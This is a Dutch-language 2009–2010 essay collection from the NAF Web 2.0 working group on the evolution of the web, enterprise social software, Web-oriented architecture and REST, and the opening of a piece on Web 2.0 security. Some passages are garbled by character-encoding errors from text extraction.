
Pagina 1 

 

 

 

Evolutie van het Web ɀ Bundel 2009 

Nationaal Architectuur Forum Web 2.0 -  Insight   

Divergence Convergence

Info-Only Web 1.0

ÁWebsites

ÁE-mail

ÁText-only Input

ÁSmart phones

ÁPortals

ÁSearch Engines

ÁService Oriented Architecture

ÁServer/Desktop Web (RIA/AJAX)

ÁSearchbots

ÁInstant Messaging

ÁMulti Channel 
ÁImage input

ÁBarcode input 

ÁTaxonomies

ÁCrowdsourcing

ÁFolksonomies

ÁSemantic Web 

ÁMulti Device

ÁVoice input
ÁDesktop Web (DRIA/RDA)

ÁSaaS

ÁWireless High Bandwith

ÁBlogs

ÁMashups

ÁSemantic Search

Á3D Motion Input

ÁWeb of Objects & Things

ÁSocial Networks

ÁSelf Service Devices

ÁTwitter/Miniblogs

ÁSemantic Wikis

ÁSemantic Folksonomies

ÁConsumerization

ÁSensor Fusioned Web

ÁSelf-Learning Web
ÁSemantic KM

Social Web 2.0

User Acessibility Web

ÁSocial Marketing

ÁSocial Shopping

ÁSearch & Discovery

ÁCloud Computing

ÁSemantic Social Networks

ÁRSS

Intelligence Web

Ubiquitous Web

Integrated Web 3.0 Pervasive Web

Time

ÁVideo Input

ÁWired High Bandwith

ÁAI Search

ÁWebserver Generated

ÁPC-only accessilble

ÁNetbooks

ÁMobile Internet Devices

ÁCloud Services

© 2009 Copyright  

Auteurs Michael Widjaja 

Arjan Radder 

Bram de Kruijff  

Jaap van der Does 

Erwyn van der Meer 

Dr.ir. Robert (R.) Slagter 

Sjors (S.) Dignum 

Datum: 

Versie: 

20 februari 2010 
0.92 



Pagina 2 

 

Inhoudsopgave  

Inhoudsopgave .................................................................................................................... 2 

Voorwoord ........................................................................................................................... 3 

Evolutie van het Web .......................................................................................................... 4 

IBM - Enterprise 2.0 ........................................................................................................... 11 

Web 2.0 en Technologie .................................................................................................... 12 

Web 2.0 en Beveiliging ..................................................................................................... 18 

Windows Azure ɀ -ÉÃÒÏÓÏÆÔȭÓ #ÌÏÕÄ #ÏÍÐÕÔÉÎÇ 0ÌÁÔÆÏÒÍ ............................................ 27 

Verbondenheid stimuleren met sociale media ................................................................. 31 

Het Nieuwe Werken, de impact op architectuur ............................................................ 38 

 



Pagina 3 

 

Voorwoord  

Dat het Web de manier van werken aanzienlijk heeft veranderd kan niemand ontgaan 

zijn. Maar dat in zo een rap tempo het information-only ÉÎÔÅÒÎÅÔ ÖÁÎ ÄÅ ÊÁÒÅÎ ȬγΪ zich 

heeft ontwikkeld naar het verrijkte en dynamische internet zoals we het tot nu op de 

dag van vandaag kennen heeft velen verbaasd.  

NAF Web 2.0 werkgroep houdt zich bezig met het volgen van juist deze 

ontwikkelingen van het Web en heeft op basis daarvan in 2009 een Insight Sessie 

georganiseerd. Als gevolg van dit drukbezochte seminar zijn we tot het idee gekomen 

om de presentaties en uitgewisselde ervaringen in een bundel samen te vatten.  

Deze NAF Web 2.0 bundel gaat in op een breed scala van onderwerpen waarbij de 

focus zich richt op de ontwikkelingen en toepassingen van het Web. De onderwerpen 

variëren van Ȭ ÔÅÃÈÎÉÓÃÈÅȭ zaken als technologie, de cloud en beveiliging tot meer 

ȬÃÏÎÃÅÐÔÕÅÌÅȭ ÏÎÄÅÒ×ÅÒpen als evolutie van het web, de impact van het nieuwe werken 

op architectuur en de innovatie en toepassingen van sociale media binnen het 

bedrijfsleven.  

Het Web blijft zich door ontwikkelen en dit is maar een stap in het evolutieproces. We 

zien deze bundel ook als een tussenstand van waar we nu staan met het Web met een 

blik naar de toekomst.... 

Ir. Michael Widjaja 
Voorzitter NAF Web 2.0 Werkgroep & Partner Accenture 
 
Januari 2010 
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Evolutie van het Web  

De basistrends van het web van vandaag en morgen 

Michael Widjaja 

Voorzitter NAF Web 2.0 Werkgroep & Partner,  Accenture 

Het web is de laatste jaren in rap tempo geëvolueerd van een information -only 

media naar een verrijkt en dynamisch internet zoals we het vandaag kennen. 

Het web van vandaag is te beschrijven op basis van drie kenmerkende trends, 

namelijk als coll aboratief en participatief platform, verrijkte 

gebruikerstoegankelijkheid en gestandaardiseerde integratie. Deze 

ontwikkelingen geven ook een beeld waar de toekomst van het web naar toe 

beweegt.  

Introductie  

Het web heeft zich over de laatste jaren in rap tempo geëvolueerd van een 

information-only media naar een verrijkt en dynamisch internet zoals we het vandaag 

kennen. Er is geen algemene definitie te geven voor het web van vandaag. Termen 

zoals web 2.0 en 3.0 worden gebruikt om bepaalde trends en kenmerken te 

beschrijven, maar daar is geen formeel standpunt van te vinden. De term 2.0 en 3.0 

suggereren dat het gaat om een soort technische upgrade van het information-only 

web 1.0, maar veel belangrijker is dat het ook een nieuwe manier is hoe gebruikers en 

ontwikkelaars het web gebruiken.  

Over het algemeen is het nieuwe web te beschrijven op basis van drie kenmerkende 

trends, namelijk: 

1. Web als collaboratief en participatief platform ook bekend als het sociale web 

2. Bredere gebruikersondersteuning en toegankelijkheid 

3. Integratie standaardisatie 
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Figuur 1 Het web vanuit drie perspectieven  

Deze drie kenmerkende trends vormen de basis van de internetontwikkelingen van 

vandaag en de nabije toekomst en worden in nader detail verder hier beschreven. Ook 

brengen deze trends duidelijkheid in de toekomst van het web en de verdere 

ontwikkelingen die we kunnen verwachten.  

Collaboratie f en participatie f platform  

Het eerste basiskenmerk is waarschijnlijk ook het meest bekende aspect van het 

nieuwe web, namelijk het collaboratieve en participatieve aspect. Dit gaat over het 

delen, creëren en beïnvloeden van kennis van gebruikersgroepen en communities. 

Deze sociale applicaties hebben hun waardering te danken aan de publieke successen 

op het internet zoals wikipedia, facebook, flickr, twitter etc.  

De meest bekende web 2.0 applicatie categorieën zijn: 

¶ Crowdsourcing  

¶ Folksonomies  

¶ Sociale netwerken  

¶ Blogs en Webfeeds   

¶ Search en Discovery  
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Crowdsourcing biedt de mogelijkheid om nieuwe kennis te creëren en problemen aan 

grote groepen mensen voor te leggen. Het succes van crowdsourcing ligt niet zozeer in 

het feit dat mensen vrij kennis kunnen delen op een website zoals de voorloper van 

Wikipedia dat goed laat illustreren. Nupedia.com was namelijk de eerste poging om 

een on-line encyclopedie op te zetten. Mensen konden artikelen aanleveren die na 

reviews gepubliceerd werden, maar de toestroom van artikelen bleef na een initieel 

goed begin uit. Er waren verschillende redenen, maar het was voornamelijk vanwege 

het stugge en uiterst moeizame reviewproces dat ondervonden werd. De opvolger 

Wikipedia steunt op sociale controle en haar populariteit illustreert het belang van 

deze succesfactor.  

Het opzetten van een netwerk is tijdsrovend en arbeidsintensief. In het geval van 

Wikipedia werd er weinig rekening gehouden met de subjectiviteit van de schrijvers. 

Lezers gaan er vanuit dat de informatie objectief van aard is, maar dat is in veel 

ÇÅÖÁÌÌÅÎ ÎÏÇ ÍÁÁÒ ÄÅ ÖÒÁÁÇȢ /ÏË ÉÓ ÈÅÔ ÄÅ ÖÒÁÁÇ ÈÏÅ ÄÅÍÏÃÒÁÔÉÓÃÈ ÄÅ ȰÃÒÏ×Äȱ ÅÉgenlijk 

is. Uit onderzoek blijkt dat slechts een klein deel (13%) bijdraagt aan de daadwerkelijke 

creatie van de oplossing. Er zijn ook een aantal andere voorwaarden om crowdsourcing 

ÅÆÆÅÃÔÉÅÆ ÔÏÅ ÔÅ ÐÁÓÓÅÎ ÚÏÁÌÓ ÅÅÎ ȰÅÁÓÙ ÔÏ ÕÓÅȱ ÐÌÁÔÆÏÒÍ ÏÆ ÔÏÏÌ ÅÎ ÄÅ ×Áardering om 

deelnemers te stimuleren creatief te zijn. Crowdsourcing is gezien de voorwaarden 

daarom dan ook één van de meest uitdagende aspecten van het web 2.0 fenomeen. 

Mits goed uitgevoerd, kunnen tegen lage kosten, waardevolle oplossingen gegenereerd 

worden. 

Folksonomies (Folk & Taxonomy) stelt gebruikers in staat indexwoorden te creëren en 

te gebruiken voor het taggen van informatie. De meest voorkomende implementatie 

van folksonomies is die waarbij een gebruiker een website specifieke inhoud, 

bookmarks of personen voorziet van zogenaamde metatags. Dit stelt andere 

gebruikers in staat om aan de hand van de tags informatie te vinden gerelateerd aan 

een bepaald onderwerp. Het web krijgt hierdoor een extra betekenislaag die bepaald 

en beïnvloed wordt door zijn gebruikers.  

Er zijn verschillende vormen van sociale netwerken nu publiekelijk operationeel. De 

eerste sociale netwerken richtten zich voornamelijk op persoonlijke interesses en 

ÈÏÂÂÙȭÓȢ /Î-line communities bouwden zich snel op over de hele wereld zonder 

geografische belemmeringen. De tweede stroom van sociale netwerken is delen van 

professionele achtergronden zoals LinkedIn. Laatste trend is dat men nu ook 

transactionele informatie gaat delen, beter bekend als social marketing en social 

shopping. Nieuwe marktmodellen komen hiermee op de markt en kan gezien worden 

ook als een nieuwe vorm van latent adverteren en sociale vormen van winkelen. 

Er zijn natuurlijk verschillende andere vormen waar Web 2.0 als collaboratief en 

participatief platform werkt, zoals blogs, microblogs (twitter), videologs (vlogs) en 

webfeeds (RSS, Atom). Ook in de search engines poppen nieuwe concepten op. Naast 

Google komen zoekmachines op de markt, zoals Wolframalpha.com die antwoorden 

genereert op basis van historische en wetenschappelijke formules en kennis.  
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Gebruikerstoegankelijkheid  

Het tweede basiskenmerk is de bredere mogelijkheden van gebruikerstoegankelijkheid 

van het web.  

De convergentie van platformen en technologieën ondersteunen de multi-channel 

toegankelijkheid aan gebruikers. Van internettoegang van de PC is het zeer snel 

ÄÏÏÒÇÅÇÒÏÅÉÄ ÎÁÁÒ ÍÏÂÉÅÌÅ ÔÅÌÅÆÏÏÎÓȟ 0$!ȭÓȟ ÇÁÍÉÎÇ ÃÏÎÓÏÌÅÓȟ ÁÕÔÏÍÁÔÉÓÃÈÅ 

bedieningsconsoles (bank, autoverhuur, vliegveld etc) en zelfs huis-tuin-keuken 

ÁÐÐÁÒÁÔÅÎ ÚÏÁÌÓ ÚÅÌÆÓ ÒÁÄÉÏȭÓ ÅÎ ËÏÅÌËÁÓÔen. Internet of Things is de volgende slag 

waarbij alle elektronische apparaten op het Internet met elkaar verbonden gaan 

worden. Dit zal nog wel enige tijd duren, maar tot op dit moment is de 

gebruikerstoegankelijkheid al sterk vergroot door zonder PC afhankelijkheid toch 

internet toegang te hebben.  

Aan de andere kant is het Internet tot op de dag van vandaag nog steeds erg tekst 

ÇÅÂÁÓÅÅÒÄȢ :ÅÌÆÓ ÁÌ ËÁÎ ÍÅÎ ÉÌÌÕÓÔÒÁÔÉÅÓ ÅÎ ÆÏÔÏȭÓ ÏÐ ÈÅÔ )ÎÔÅÒÎÅÔ ÖÉÎÄÅÎȟ ÄÅÚÅ ÍÏÅÔÅÎ 

vaak nog gevonden worden met metatags en door het zoeken op termen en begrippen. 

De volgende generatie van web laat zich meer bedienen door juist niet-tekst 

gebaseerde gebruikersinput. Midomi.com is een voorbeeld waar men door het zingen 

(en zelfs neuriën) een bepaald liedje kunt vinden en daarmee geleid wordt naar het 

kopen van de specifieke CD. Met Semapedia.org kan men een Wiki artikel refereren in 

een uitgeprinte 2D barcode die men op objecten kan plakken. De barcodes kunnen 

door mobiele telefoonsoftware herkend worden en leiden je naar het referentieartikel. 

Camera gebaseerde telefoons kunnen objecten herkennen en herleiding maken naar 

de achtergronden van het object waar vervolgens weer transacties gedaan kunnen 

worden. Zo is er in het Accenture Technology Labs een prototype gebouwd waar een 

cameratelefoon objecten in een supermarkt herkent, bekijkt of dat past bij de 

gebruikerswensen en ook suggereert waar dat product goedkoper gekocht kan worden 

op basis van de GPS positie. De niet-tekst gebaseerde gebruikersinput zal de drempel 

van het gebruik van web 2.0 applicaties sterk verlagen.  

Er is ook een technologische trend gaande met Internet applicatie architectuur. De 

eerste generatie van Internet clients waren puur HTML browsers die elke keer een 

nieuwe pagina moesten laden als de gebruiker de volgende stap in het proces zette. 

Deze Internet clients waren erg basaal en weinig gebruikersvriendelijk. Begin 2000 

kwamen de zogenaamde Rich Internet Applicaties (RIA) naar voren die rijkere 

functionaliteiten en aparte controles aan gebruikers gaven die webapplicaties 

intuïtiever maken. De derde generatie van webclients zijn de Desktop Rich Internet 

Applicaties (DRIA) die nog verder naar de desktop convergeert. Het voordeel van deze 

laatste generatie is dat de webapplicaties meer ook op de lokale desktop kan opereren 

en direct toegang heeft tot lokale apparaten terwijl de verbinding met Internet 

standaarden werkt. iTunes en Google Apps zijn de meest voor de handliggende 

applicaties op dit gebied en zal zich nog verder ontwikkelen.  
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Standaardisatie  

Standaardisatie is het laatste basisaspect van web 2.0 en toont zich in zowel applicatie 

integratie als data standaardisatie.  

Service Oriented architectuur (SOA) heeft zich afgelopen jaren sterk gemaakt voor 

standaardisatie van zowel data als interface en business architectuur integratie. Door 

XML en SOAP protocollen is het eenvoudiger geworden om sneller met applicaties te 

integreren zowel binnen als buiten bedrijfsgrenzen. Mashups, Cloud Computing, on-

demand, Software-as-a Service (SaaS) concepten zijn allemaal consequenties van deze 

IT standaardisatietrends. Voordelen van deze standaardisatie zijn flexibiliteit om 

applicaties sneller te bouwen en te veranderen. Housingmaps.com is een goed 

voorbeeld waar een huizenkoper in Californie een website had opgezet  door gebruik 

te maken van al bestaande applicaties en met deze mashups binnen 48 uur een 

productie webapplicatie had staan. Zonder deze integratie zou het minstens 6-9 

maanden geduurd hebben om een soortgelijke applicatie te bouwen. Time-to-Market 

en agiliteit zijn de buzzwords die binnen dit domein vallen.  

 

Figuur 2 Voorbeeld mashup: Housing Maps  
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De tweede standaardisatietrend is echter nog veel belangrijker en dat is data 

standaardisatie en beweegt zich naar het semantische web ook wel Web 3.0 genoemd. 

Met datastandaardisatie is het mogelijk om data met elkaar te verbinden en vervolgens 

verbanden en meer informatie eruit te distilleren. Verschillende 

prijsvergelijkingmachines maken hier al gebruik van, maar nu komen ook 

webapplicaties die bijvoorbeeld persoonsprofielen kunnen opbouwen door 

zoekresultaten en sociale webapplicatie profielen met elkaar te verbinden. Googlism 

en wieowie.nl zijn goede voorbeelden hiervan die dit concept illustreren.  
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Figuur 3 Datastandaardisatie  

Web Intelligence ontpopt zich hier en zal zich verder ontwikkelen richting business 

intelligence op het web door zowel publieke als bedrijfsdata te gebruiken en 

afleidingen te maken voor diverse doeleinden.  
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De Toekomst  
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Figuur 4 De toekomst van het web  

En wat brengt de toekomst? Op dit moment is de divergentie van web 1.0 naar drie 

verschillende kenmerkende trends zich nog verder aan het verbreden. Echter, de 

nabije toekomst ziet ook deze trends weer convergeren. De integratie van mashups 

van hergebruik van applicaties binnen sociale applicaties zoals facebook laat dit al op 

de dag van vandaag zien. We zien ook de eerste semantische integraties van sociale 

applicaties in semantische wikis en sociale bookmarking applicaties. De verrijkte en 

dynamische Device  en gebruikerstoegankelijkheid spelen een belangrijke rol om het 

internet in ons huis-tuin-keuken leven naadloos te integreren. Het zal niet lang duren 

dat het web ons niet alleen ondersteunt maar ook zelf leert en beslissingen zal maken 

voor ons. Dit Pervasive web zal nog wel wat tijd vergen, maar dat het er komt, daar 

twijfel ik niet aan.  
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IBM - Enterprise 2.0  

Arjan Radder 

Sales Leader Social Software EMEA South West, IBM 

Web 2.0 help t  personen en orga nisaties sneller, slimmer en goedkoper met 

elkaar samen te werken en informatie te delen.  Zowel intern als extern 

makkelijker personen en kennis vinden via kennisp ro fielen, samen aan 

content werken met behulp van WIKI´s, in communities samenwerken met 

kla nten en part ners om de nieuwe generatie productie en diensten vorm te 

geven, er zijn vele business voordelen en harde return on investment. Veel 

organisaties van klein tot groot en in alle industrieën hebben reeds voordelen 

opgedaan met social software. NS , Saxion Hogescholen, RIVM en Hermans 

Schuttevaer Notarissen zijn slechts enkele voorbeelden van Nederlandse 

organisatie s die succesvol gebruik maken van Enterprise Social Software. Een 

van de andere voordelen is dat het steeds minder noodzakelijk wordt om  

content, di e tegenwoordig zo snel verandert , vast te leggen op papier waardoor 

veel milieubelasting wordt tegengegaan. Klikt u daarom snel verder naar de 

video in de link en leer meer over IBM´s strategie, oplossingen en 

klantvoorbeelden. Uiteraard kunt u  ten alle tijde contact met mij opnemen 

voor een persoonlijk gesprek. Veel plezier en tot snel.  

Referenties  

http://vimeo.com/4851458  

http://vimeo.com/4851458
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Web 2.0 en Technologie  

Technologische uitdagingen van het nieuwe web  

 

Bram de Kruijff 

Product Architect, GX 

 

Het World Wide Web heeft zich in het afgelopen decennium in razend tempo 

ontwikkeld en zal dat ook de komende jaren blijven doen. Hoeveelheid data, 

verkeer en gebruikers groeit exponentieel en het aantal toepassingsgebieden 

bre idt zich continu uit. Deze trend drijft innovatie en de ontwikkeling van 

nieuwe standaarden die de toekomst van het web vorm geven. Het succesvol 

ontwikkelen van een toekomstvaste internet strategie in dit volatiele domein 

vereist inzicht in de technologis che ontwikkelingen en relevante 

ontwerpbeslissingen.  

 

Introductie  

 

Het World Wide Web (WWW) heeft zich in het afgelopen decennium in razend 

tempo ontwikkeld. Kenmerkend voor de ontwikkeling is de exponentiële groei aan 

verkeer op het web in termen van aantallen gebruikers, interacties en de hoeveelheid 

data die daarbij uitgewisseld wordt. Tegelijkertijd verandert ook de structuur van het 

web op fundamentele wijze. Het information only  Web 1.0 is inmiddels aangevuld met 

Web 2.0 waarbij collaboratie, interactie en integratie centraal staan. En ook hier staat 

de tijd niet stil. Nu al zijn verschillende trends waarneembaar die de volgende 

evolutionaire stap inluiden. 

 

Het potentieel van het inzetten van Web 2.0 technologie binnen en buiten de 

organisatie is enorm. Om succesvol te zijn moet echter wel aan de spelregels van Web 
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2.0 voldaan worden en dient een implementatie om te kunnen gaan met het volatiele 

en evolutionaire karakter van dit domein.  

 

 

Technologie niet centraal  

 

Niet de technologie, maar de gebruikers staan centraal bij Web 2.0! Het vaak 

ontnuchterende besef dat gebruikers de dienst uitmaken is cruciaal. Het succes van 

een concept of toepassing staat en valt met acceptatie door de doelgroep. Web 2.0 

heeft een sociaal en viraal karakter, waarbij actieve gebruikers en opiniemakers 

bepalen of (en hoe lang) een toepassing levensvatbaar is. Het is daarom van belang de 

volgende kenmerken in gedachte te houden:  

 

¶ Gebruikers verwachten dat informatie actueel en direct online beschikbaar is. 
¶ Gebruikers maken dagelijks gebruik van een veelvoud aan online diensten. 
¶ Gebruikers zijn gewend aan de laatste Web 2.0 concepten en technologie. 
¶ Gebruikers verwachten naast informatie ook interactie en conversatie. 
¶ Gebruikers vertrouwen sociale netwerken en media. 
 

Gegeven deze kenmerken en de snelheid van ontwikkeling zal er bij ontwerp en 

implementatie van toepassingen rekening mee gehouden moeten worden. 

Oplossingen moeten voorzien in: 

 

¶ Gebruiksvriendelijke, taakgerichte, intuïtieve en rijke interfaces. 
¶ Voorzieningen voor integratie met verschillende externe diensten. 
¶ Faciliteiten voor interactie, collaboratie en user generated content (UGC). 
¶ Snel en eenvoudig uitbreidbaar met flexibel ontwikkelmodel.  

 

Ontwerpen voor verandering  

 

Het enorme potentieel aan gebruikers met continue hoge verwachtingen, in 

combinatie met de onvoorspelbaarheid van het succes stelt fundamenteel nieuwe eisen 

aan de wijze waarop applicaties ontworpen worden. 

 

Een website als YouTube.com bestaat nog geen 5 jaar en bevat vandaag de dag al meer 

data dan het hele internet in haar geheel een kleine 10 jaar geleden. YouTube.com 
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verbruikt naar schatting 50 petabyte (50000000 gigabyte) aan bandbreedte per maand. 

Omgaan met deze groei alleen al heeft de organisatie ongetwijfeld voor enorme 

technische uitdagingen gesteld. Desondanks is men in staat gebleken naar de 

gebruikers te blijven luisteren, te innoveren en functionaliteiten toe te blijven voegen. 

Juist deze flexibiliteit en slagvaardigheid is de kracht achter het succes. 

 

In dit licht is er een enigsziÎÓ ÐÅÓÓÉÍÉÓÔÉÓÃÈ ÇÅÚÅÇÄÅ ÏÎÄÅÒ ÓÏÆÔ×ÁÒÅ ÁÒÃÈÉÔÅÃÔÅÎȡ ȰÅÅÎ 

ÏÎÔ×ÅÒÐ ÖÁÎ ÖÁÎÄÁÁÇ ÉÓ ÍÏÒÇÅÎ ÁÃÈÔÅÒÈÁÁÌÄȱȢ $ÉÔ ÉÓ ÎÁÔÕÕÒÌÉÊË ÎÉÅÔ ÎÏÏÄÚÁËÅÌÉÊËÅÒ×ÉÊÓ 

het geval maar om kunnen gaan met deze mate van veranderingen staat of valt wel 

met de fundamentele schaalbaarheid en flexibiliteit van de software- en 

applicatiearchitectuur. Deze kwaliteiten spelen dan ook een centrale rol in de 

ÁÒÃÈÉÔÅÃÔÕÕÒÓÔÉÊÌ Ȭ7ÅÂ /ÒÉÅÎÔÅÄ !ÒÃÈÉÔÅÃÔÕÒÅȭ ɉ7/!ɊȢ 

 

Web Oriented Architecture  

 

Web 2.0 toepassingen bestaan uit data-centrische diensten (webservices) aan de server 

kant, welke aan de client kant ontsloten worden door applicaties. In tegenstelling tot 

het klassieke pagina georiënteerde hypertext model is er niet langer een 1 op 1 relatie 

tussen request response en het tonen van een pagina in de browser. De relatie tussen 

dienst en consument is ontkoppeld en Web 2.0 diensten doen bij voorkeur zo weinig 

mogelijk aannames met betrekking tot mogelijkheden van de client. Kenmerkend voor 

Web 2.0 diensten is verder: 

 

¶ Een Web 2.0 dienst is een serverside webservice of webapplicatie. 
¶ Web 2.0 diensten zijn gericht op het uitwisselen van informatie binnen een 

domein. 
¶ Informatie wordt uitgewisseld op basis van (open) standaard representaties 
¶ Web 2.0 diensten worden ontworpen met het oog op herbruikbaarheid. 

 

De architecturele stijl en technologieën, die hierbij aansluiten worden veelal 

aangeduid met Web Oriented Architecture (WOA). Deze naam is een variatie op 

Service Oriented Architecture (SOA), een stijl die zijn achtergrond heeft in de 

enterprise markt. Dezelfde principes liggen ten grondslag aan beide stijlen, maar SOA 

standaarden (zoals WS-I) zijn overbodig complex en zwaar voor het overgrote deel van 

toepassingen binnen Web 2.0. WOA kan dan ook gezien worden als een subset van 

SOA gericht op flexibiliteit en schaalbaarheid. Kenmerkend voor WOA is verder: 

 

¶ Focus op eenvoudige herbruikbare data centrische diensten. 
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¶ Minimale afhankelijkheid tussen diensten onderling en client applicaties. 
¶ Gebruik van open standaarden voor representatie van data. 

 

Bij het ontwerp van WOA diensten wordt vaak gebruik gemaakt van een stijl genaamd 

Representational State Transfer (REST). Dit is de tegenhanger van de Remote 

Procedure Call (RPC) stijl die bijvoorbeeld ten grondslag ligt aan het Simple Object 

Acces Protocol (SOAP). Zogenaamde RESTfull diensten realiseren de gewenste 

minimale afhankelijkheid, flexibiliteit en schaalbaarheid door middel van enkele 

eenvoudige principes die ten grondslag liggen aan de architectuur van het World Wide 

Web zelf. Deze principes zijn: 

 

¶ Resources (data) staan centraal en zijn adresseerbaar op basis van Unique 
Resource Identifiers (URI / RFC2396). 

¶ Representatie van data ligt niet vast en wordt per dienst gekozen op basis van 
een best fit met de toepassing. 

¶ Alle communicatie vind plaats op basis van het HyperText Transfer protocol 
(HTTP1.1 / RFC2616). 

¶ Alle conversational state is onderdeel van de informatie uitwisseling. Er is geen 
afhankelijkheid van server side sessies. 

 

REST levert grote flexibiliteit door eenvoud en ontleent kracht aan de bekende en 

breed ondersteunde kwaliteiten van HTTP. 

 

Rich Internet Applications  

 

De voor gebruikers meest zichtbare Web 2.0 ontwikkelingen is de opkomst van de 

Rich Internet Application (RIA). Met de introductie van geavanceerdere toepassingen 

en rijke media (bijvoorbeeld video) ontstaat de behoefte aan rijkere 

gebruikersinterfaces om complexe interactiemodellen te kunnen ondersteunen. 

Hierbij schiet het klassieke pagina georiënteerde hypertext als interactiemodel al snel 

tekort.   

 

RIA architectuur benadert de client kant van een Web 2.0 toepassing als een 

volwaardige (statefull) applicatie. Presentatie, context en interactie logica worden 

verlegd ÎÁÁÒ ÄÅ ÃÌÉÅÎÔȢ :Ï ÖÅÒÁÎÄÅÒÄ ÄÅ ȬÄÏÍÍÅȭ ÃÌÉÅÎÔ ËÁÎÔ ɉÂÒÏ×ÓÅÒɊ ÉÎ ÅÅÎ 

interactieve applicatie die wel in staat is gebruikers een rijke ervaring te bieden. 

Daarbij is een RIA in staat om, wanneer nodig, data uit te wisselen met online diensten 

waarbij de interactie tussen RIA en diensten is ontkoppeld van de directe handelingen 

van de gebruiker. Een veel voorkomende toepassing op dit gebied is de zogenaamde 
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mashup waarbij de RIA op basis van client kant context data van meerdere online 

diensten aggregeert en combineert alvorens deze aan de gebruiker te tonen. 

 

Op technologisch gebied heeft deze trend voeding gegeven aan verschillende 

frameworks en standaarden, die beter in staat zijn de rijke interfaces van een RIA te 

faciliteren. Hierbij kan een grof onderscheid gemaakt worden tussen de Asynchronous 

Javascript technologie (AJAX), welke gebaseerd is op open standaarden en veelal 

geassocieerd wordt met de browser, en nieuwere frameworks als Microsoft Silverlight, 

Java FX en Adobe FLEX, welke gebaseerd zijn op proprietary technologie. Al deze 

oplossingen zijn nog volop in ontwikkeling en hebben zo hun voor- en nadelen. Een 

keuze voor de een, de andere of een combinatie van is sterk afhankelijk van de eisen 

die worden gesteld aan de toepassing.  

 

Ook deze RIA technologieën worden continu gedreven door de ontwikkeling van het 

web en ook hier zullen dus nog vele innovaties plaats vinden. Het is daarom van 

belang om, ongeacht de specifieke technologiekeuze, de uitgangspunten van WOA in 

het oog te houden en zo een vroegtijdige technologie lockin te voorkomen.  

 

Conclusie  

 

Het web zal zich blijven evolueren en biedt bedrijven enorme kansen als het gaat om 

het aangaan van dialogen met gebruikers en daardoor het genereren van business. Of 

het nu gaat om e-marketing, e-commerce, e-crm of crowd sourcing: de mogelijkheden 

zijn legio en nemen alleen maar toe. Voorwaarde voor succes is dat de spelregels van 

Web 2.0 gerespecteerd worden. Daarbij is het cruciaal dat de onderliggende 

technologie en ontwerpkeuzen kunnen omgaan met de dynamiek. Ontwerpen met 

flexibiliteit en schaalbaarheid in gedachten is daarom van doorslaggevend belang. 
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Web 2.0 en Beveiliging  

Jaap van der Does 

IT Architect, ABN-AMRO 

 

Van dag tot dag nemen wij grote hoeveelheden informatie tot ons, bijna alsof het ons 

dagelijks brood is. Wij leveren ook informatie, controleren die en maken interessante 

nieuwe combinaties. Deze collectieve intelligentie heeft in korte tijd ongekend veel 

informatie beschikbaar gemaakt, vaak gratis en soms van hoge kwaliteit. Wij kunnen 

ÇÅÒÕÓÔ ÓÐÒÅËÅÎ ÖÁÎ ÅÅÎ ÃÕÌÔÕÕÒÏÍÓÌÁÇȟ ÅÎ ÄÉÅ ÏÍÓÌÁÇ ×ÏÒÄÔ ËÏÒÔ×ÅÇ Ȭ7ÅÂ άȢΪȭ 

genoemd. 

Technisch gezien is Web 2.0 het fenomeen dat websites veranderd zijn in volledige 

applicaties. Wij shoppen globaal in winkels die virtueel alles in huis hebben. De 

producten die in de aanbieding zijn worden niet meer getoond in webaftreksels van 

deur-tot-deur folders, maar in 3D-ÁÃÈÔÉÇÅ ÆÏÔÏȭÓ ÅÎ ÖÉÄÅÏȭÓ ÄÉÅ ÏÎÓ ÏÐ ÅÌË ÔÉÊÄÓÔÉÐ ÅÌË 

detail op elk gewenste afstand laten zien; alleen reuk en tast ontbreken nog. Wij 

kiezen op basis van wereldwijde vergelijking en bij klachten chatten of skypen wij met 

de klantenservice :-(als aanwezig)-: Voor ons werk of in onze vrije tijd schrijven wij 

blogs om iedereen te laten weten wat onze specialiteiten en interessen zijn. Mensen 

delen kennis en verbeteren die samen. Webapplicaties tonen ons de aarde, de maan, 

-ÁÒÓȟȣ (ÅÔ ÄÏÅÔ ÏÎÓ Ô×ÉÔÔÅÒÅÎ ÏÍ ÅÌkaar van minuut tot minuut op de hoogte te 

stellen wat we doen of de moeite waard vinden. 

Deze webontwikkelingen zijn prachtig; wij willen en kunnen niet meer zonder. Maar 

er is een keerzijde die vaak onderbelicht blijft: beveiliging. Hierbij is het belangrijk op 

te merken dat de nieuwe generatie webapplicaties een totaal andere gebruikerscontext 

heeft dan de vorige. Tot voor kort waren applicaties voor privé-gebruik of 

groepsgebruik in de afgeschermde omgeving van het bedrijf. Web 2.0 applicaties zijn 

meestal bedoeld voor letterlijk ongekende groepen gebruikers. Bij groot succes moet 

zelfs rekening worden gehouden met massaal gebruik wereldwijd. In deze nieuwe 

omgeving worden systemen toegepast op manieren waar tot voor kort geen rekening 

mee werd gehouden, en zo komt de aloude zorg voor de juiste mate van beveiliging in 

een nieuw daglicht te staan. Het is in elk geval het beste als degenen die web-

ÁÐÐÌÉÃÁÔÉÅÓ ÁÁÎÂÉÅÄÅÎ ÕÉÔÇÁÁÎ ÖÁÎ ÅÅÎ ÖÉÊÁÎÄÉÇÅ ×ÅÒÅÌÄȢ (ÅÌÁÁÓȣ  
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Web 2.0, de techniek  

Web 2.0 is een platform voor gedeelde creativiteit waar diverse gebruikers-groepen op 

verschillende manieren toegang toe hebben. Het maakt nieuwe vormen van 

samenwerking mogelijk, omdat op technisch niveau de uitwisseling van informatie 

gebaseerd is op enkele rigide technische principes. Applicaties gebruiken een 

ÃÏÍÂÉÎÁÔÉÅ ÖÁÎ ÇÅÓÔÁÎÄÁÁÒÄÉÓÅÅÒÄÅ ÔÁÌÅÎ ɉ8(4-,ȟ 8-,ȟ #33ȟ *ÁÖÁ3ÃÒÉÐÔȟȣɊ ÄÉÅ ÄÅ 

beperking van alleen request-respons communicatie wegneemt. Dank zij 

geautomatiseerde, asynchrone communicatie met diverse web-services, bij voorbeeld 

met behulp van de aanroep van XMLHtmlRequest in JavaScript, wordt alvast 

informatie opgehaald die de gebruiker waarschijnlijk nodig heeft, zoals stukken kaart 

van een te volgen route. Naast gestandaardiseerde  technieken zijn er plug-ins die een 

browser uitbreidt naar de ontwikkelplatformen van Adobe, Google, Macromedia, 

Microsoft. Gecombineerd met een toename aan bandbreedte maken al deze 

technieken webgebruik tot een rijke en dynamische multimedia ervaring. 

Web 2.0, het fenomeen  
Er zijn tientallen labels die Web 2.0 karakteriseren. Het volgende WikiPedia plaatje 

geeft een mooi overzicht. 

 

 

